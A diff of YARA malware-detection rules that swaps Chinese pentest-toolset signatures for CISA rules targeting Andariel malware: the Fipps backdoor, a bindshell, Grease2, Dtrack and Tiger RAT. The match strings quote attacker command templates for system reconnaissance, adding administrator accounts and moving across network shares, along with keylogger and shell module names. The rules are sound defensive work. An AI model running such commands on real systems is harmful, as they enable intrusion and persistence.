-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2250-L2268"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
-		logic_hash = "5bd0cbb1c2f5863ef1365dc115c736ade05c290cd6fa09a24c2d344314b522cb"
-		score = 70
+		description = "Detects a variant of the GoLang Validalpha malware based on a file path found in the samples"
+		author = "CISA.gov"
+		id = "36f46a1d-69b6-5c99-9a54-6a14d62d2721"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L238-L249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "07ea38890e99dd53437a23b7c4002851604b69a83bd7fb8971609226249e5954"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ".dns166.co" ascii
-		$s2 = "SExecuteA" ascii
-		$s3 = "ality/clsCom" ascii
-		$s4 = "NT_SINK_AddRef" ascii
-		$s5 = "WINDOWS\\Syswm" ascii
+		$ = "I:/01___Tools/02__RAT/Black"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Fpipe_Fpipe : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_ELF_Backdoor_Fipps : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0d84aa8f-dc15-5bb7-a568-224c6a837685"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2270-L2286"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
-		logic_hash = "bde46f2508dc82f91e39cc7bd88960e836522b068546ce65ebc07db69b3d4493"
-		score = 50
+		description = "Detects a Linux backdoor named Fipps used by Andariel"
+		author = "CISA.gov"
+		id = "040bca78-8b7e-5397-8a2b-1ddeed59eea3"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L279-L294"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b57eb6c6b89e93863b9600c4a1384f3e064f236e827ef9ffc37b1e5dcff7d24"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii
-		$s2 = "http://www.foundstone.com" fullword ascii
-		$s3 = "%s %s port %d. Address is already in use" fullword ascii
+		$a = "found mac address"
+		$b = "RecvThread"
+		$c = "OpenSSL-1.0.0-fipps"
+		$d = "Disconnected!"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and all of them
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Layer_Layer : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Bindshell : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "48e27119-da7e-5921-8d4f-f8a1e3ac0439"
-		date = "2015-06-23"
-		modified = "2022-12-21"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2288-L2305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
-		logic_hash = "03e2d875de6dc45a0cede55071c071944c4cdf4610f52fe4a21f6dd5dedac41d"
+		description = "Detects a BindShell used by Andariel"
+		author = "CISA.gov"
+		id = "3f6d83da-cea5-5e12-b0ba-93ace09d3d5c"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L296-L313"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "409aa6a27d81e14ea90d90ee02924cb11f5fecef592e6577b084f9ab2dde35fc"
 		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\Release\\Layer.pdb" ascii
-		$s2 = "Layer.exe" fullword wide
-		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide
+		$str_comspec = "COMSPEC"
+		$str_consolewindow = "GetConsoleWindow"
+		$str_ShowWindow = "ShowWindow"
+		$str_WSASocketA = "WSASocketA"
+		$str_CreateProcessA = "CreateProcessA"
+		$str_port = { B9 4D 05 00 00 89 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Ms10048_X86 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Grease2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5d572d35-d2e5-5457-89d9-fbce8f8fa552"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2307-L2321"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
-		logic_hash = "2f67b3be31b1d1eb420b40ec291db7271acd692af9f061d5db17415685cf7546"
-		score = 70
+		description = "Detects the Grease2 malware family used by Andariel"
+		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
+		id = "4defbe08-b3c6-5ab9-9a57-cec57ff42d9a"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L315-L335"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "138fc915206e0c2834090ebc0a808913488121d51c17de3dbfadcb4099fbfa2f"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii
+		$str_rdpconf = "emp\\RDPConf.exe"
+		$str_rdpwinst = "emp\\RDPWInst.exe"
+		$str_net_user = "net user"
+		$str_admins_add = "net localgroup administrators"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Htran2_4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Nopineapple_Dtrack_Unpacked : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "21cb5ec5-900d-5092-8c2b-2d951289957c"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2323-L2338"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "524f986692f55620013ab5a06bf942382e64d38a"
-		logic_hash = "dd1332d3dca12513b1f8a1d10148f6fa2eb7cc809ac7cf6f4dcc9090746718b5"
-		score = 70
+		description = "Detects the Dtrack variant used by Andariel"
+		author = "CISA.gov"
+		id = "6ccaf24b-c110-5788-a792-fa7f39fb18f7"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L337-L351"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf5f92a66ba3ff4db61102dcc50b781e8dd14ca7cb1eb70dae8eba2ed0910b66"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
-		$s2 = "[+] New connection %s:%d !!" fullword ascii
+		$str_nopineapple = "< No Pineapple! >"
+		$str_qt_library = "Qt 5.12.10"
+		$str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <180KB and all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Skinhrootkit_Skinh : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Dtrack_Unpacked : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8aedd01c-9dc8-537d-97ea-bc8de81edd3d"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2340-L2356"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
-		logic_hash = "97314a8c908c714c39ea8962c87709fdc422c3e2998a2b1694950fa127204335"
-		score = 70
+		description = "Detects DTrack variant used by Andariel"
+		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
+		id = "0c161275-2b2e-51a4-9e08-c118fb4c8671"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L353-L375"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8de583fc0de01e6784305d28dbf7cea859a24cf4df1dc59356601bc830e4770"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
-		$s1 = "SDVersion.dll" fullword wide
-		$s2 = "skinh.dll" fullword ascii
+		$x_str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
+		$x_str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
+		$str_mutex = "MTX_Global"
+		$str_cmd_1 = "/c net use \\\\" wide
+		$str_cmd_3 = "/c move /y %s \\\\" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5A4D and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_CN_Honker__Postgresql_Mysql_Injectv1_1_Creak_Oracle_Sqlserver_Inject_Creaked : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Tigerrat_Crowdsourced_Rule : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0272776c-8dbe-5345-92c8-57593686a84c"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2358-L2378"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed809a5fb35d36b2a8758e470657bda1a04d80577d5129962cd7d0ab9a80cf8a"
-		score = 70
+		description = "Detects the Tiger RAT variant used by Andariel"
+		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
+		id = "6be65222-7d3c-5ff5-a9c7-d91dcf1deaa6"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L377-L405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d203d8c7e624796571f4597f70be0b8303f21c096640f25018cad29d4abc05b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
-		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
-		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
-		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
 
 	strings:
-		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii
-		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
-		$s3 = "ProxyParams.ProxyPort" fullword ascii
+		$m1 = ".?AVModuleKeyLogger@@" fullword ascii
+		$m2 = ".?AVModulePortForwarder@@" fullword ascii
+		$m3 = ".?AVModuleScreenCapture@@" fullword ascii
+		$m4 = ".?AVModuleShell@@" fullword ascii
+		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
+		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
+		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
+		$s4 = "del \"%s\"%s \"%s\" goto " ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and ( all of ($s*) or ( all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
 }
-rule SIGNATURE_BASE_CN_Honker__Wwwscan_Wwwscan_Wwwscan_Gui : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_WIN_Tiger_RAT_Auto : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "02f80151-4dfb-5b14-9145-312a9bd2c609"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2380-L2398"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0fd6ab38dca839605c1b7cd51a4a8d3268551f0725ccee7c7521f13d6f9e7076"
-		score = 70
+		description = "Detects the Tiger RAT variant used by Andariel"
+		author = "CISA.gov"
+		id = "4579af62-52be-5f5f-a577-16ec50297c05"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L407-L546"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1deef66efb44c0d17f33508a8b6f0d6253f0308f309e81657f78eb0f87121bf5"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
-		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
-		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
 
 	strings:
-		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
-		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii
+		$sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 }
+		$sequence_1 = { 41b901000000 488bd6 488bcb e8???????? }
+		$sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 }
+		$sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 }
+		$sequence_4 = { 488b01 ff10 488b4e18 488b01 }
+		$sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 }
+		$sequence_6 = { 488b01 eb03 488bc1 0fb600 }
+		$sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 }
+		$sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 }
+		$sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 }
+		$sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b }
+		$sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b b9f4ffffff }
+		$sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905???????? 488d05a0550000 488905???????? }
+		$sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 }
+		$sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905???????? 8b05???????? }
+		$sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		filesize <600KB and 7 of them
 }
-rule SIGNATURE_BASE_CN_Honker__LPK_LPK_LPK : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_WIN_Dtrack_Auto : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e1beb88b-d3e8-5868-affb-e59c26e4dc2e"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2400-L2421"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0309241ed0e899519cf3edd1544a14d09fff4a8162514ae49b3a6b70eda1ed4f"
-		score = 70
+		description = "Detects DTrack variant used by Andariel"
+		author = "CISA.gov"
+		id = "1b40c685-beba-50fa-b484-c1526577cb23"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L548-L687"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2bd68ee6e5f35a9b80c07120beba3fe1f3ba9a9137ee15bb04bb2740381a9a44"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
-		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
-		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
 
 	strings:
-		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide
-		$s2 = "Password error!" fullword ascii
-		$s3 = "\\sathc.exe" ascii
-		$s4 = "\\sothc.exe" ascii
-		$s5 = "\\lpksethc.bat" ascii
+		$sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
+		$sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae c78544f6ffff00000000 }
+		$sequence_2 = { 50 ff15???????? a3???????? 68???????? e8???????? 83c404 50 }
+		$sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? }
+		$sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? }
+		$sequence_5 = { 51 e8???????? 83c410 8b558c 52 }
+		$sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? }
+		$sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 }
+		$sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 }
+		$sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 }
+		$sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 }
+		$sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 }
+		$sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 }
+		$sequence_13 = { 0bc1 894518 8b5514 8955f8 }
+		$sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1057KB and all of them
+		filesize <1700KB and 7 of them
 }
-rule SIGNATURE_BASE_CN_Honker__Builder_Shift_Skinh : FILE
+rule SIGNATURE_BASE_MAL_CRIME_Suspicious_Hex_String_Jun21_1 : CRIME PE FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cb18aa4a-6eba-58ca-a6fc-e4160b90f4d7"
-		date = "2015-06-23"
+		description = "Triggers on parts of a big hex string available in lots of crime'ish PE files."
+		author = "Nils Kuhnert"
+		id = "2ad208fa-c7a5-5df9-96fe-4a84dc770f0f"
+		date = "2021-06-04"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2423-L2444"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d15802df98d72b4ef3bac2dfb8ba3338c540ef7290d7ddf9738cf0f7b86e17ea"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_crime_unknown.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73144b14f3aa1a1d82df7710fa47049426bfbddeef75e85c8a0a559ad6ed05a3"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
-		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
-		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
+		tags = "CRIME, PE, FILE"
+		hash1 = "37d60eb2daea90a9ba275e16115848c95e6ad87d20e4a94ab21bd5c5875a0a34"
+		hash2 = "3380c8c56d1216fe112cbc8f1d329b59e2cd2944575fe403df5e5108ca21fc69"
+		hash3 = "cd283d89b1b5e9d2875987025009b5cf6b137e3441d06712f49e22e963e39888"
+		hash4 = "404efa6fb5a24cd8f1e88e71a1d89da0aca395f82d8251e7fe7df625cd8e80aa"
+		hash5 = "479bf3fb8cff50a5de3d3742ab4b485b563b8faf171583b1015f80522ff4853e"
 
 	strings:
-		$s1 = "lipboard" fullword ascii
-		$s2 = "uxthem" fullword ascii
-		$s3 = "ENIGMA" fullword ascii
-		$s4 = "UtilW0ndow" fullword ascii
-		$s5 = "prog3am" fullword ascii
+		$a1 = "07032114130C0812141104170C0412147F6A6A0C041F321104130C0412141104030C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141122130C0412146423272A711221112B1C042734170408622513143D20262B0F323038692B312003271C170B3A2F286623340610241F001729210579223202642200087C071C17742417020620141462060F12141104130C0412141214001C0412011100160C0C002D2412130C0412141104130C04121A11041324001F140122130C0134171" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6075KB and all of them
+		uint16(0)==0x5a4d and filesize <10MB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker__Lcx_Htran2_4_Htran20 : FILE
+rule SIGNATURE_BASE_MAL_CRIME_Unknown_LNK_Jun21_1 : LNK POWERSHELL FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c6851e7b-ab64-5578-896e-4d92fb3b2000"
-		date = "2015-06-23"
+		description = "Triggers on malicious link files which calls powershell with an obfuscated payload and downloads an HTA file."
+		author = "Nils Kuhnert"
+		id = "d1aac420-fd91-5577-8efd-fcdd7f733981"
+		date = "2021-06-04"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2446-L2465"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30184394ad3ec7bf209bb0a22da889699bac6167ecc09e693c88f8643c754394"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_crime_unknown.yar#L18-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "460e764cbd9fbfa1a2156059d0042a0bea5a939d501050a733a789d236015d37"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
-		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
-		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+		tags = "LNK, POWERSHELL, FILE"
+		hash1 = "8fc7f25da954adcb8f91d5b0e1967e4a90ca132b280aa6ae73e150b55d301942"
+		hash2 = "f5da192f4e4dfb6b728aee1821d10bec6d68fb21266ce32b688e8cae7898a522"
+		hash3 = "183a9b3c04d16a1822c788d7a6e78943790ee2cdeea12a38e540281091316e45"
+		hash4 = "a38c6aa3e1c429a27226519b38f39f03b0b1b9d75fd43cd7e067c5e542967afe"
+		hash5 = "455f7b6b975fb8f7afc6295ec40dae5696f5063d1651f3b2477f10976a3b67b2"
 
 	strings:
-		$s1 = "[SERVER]connection to %s:%d error" fullword ascii
-		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii
-		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii
+		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <440KB and all of them
+		uint16(0)==0x004c and all of them
 }
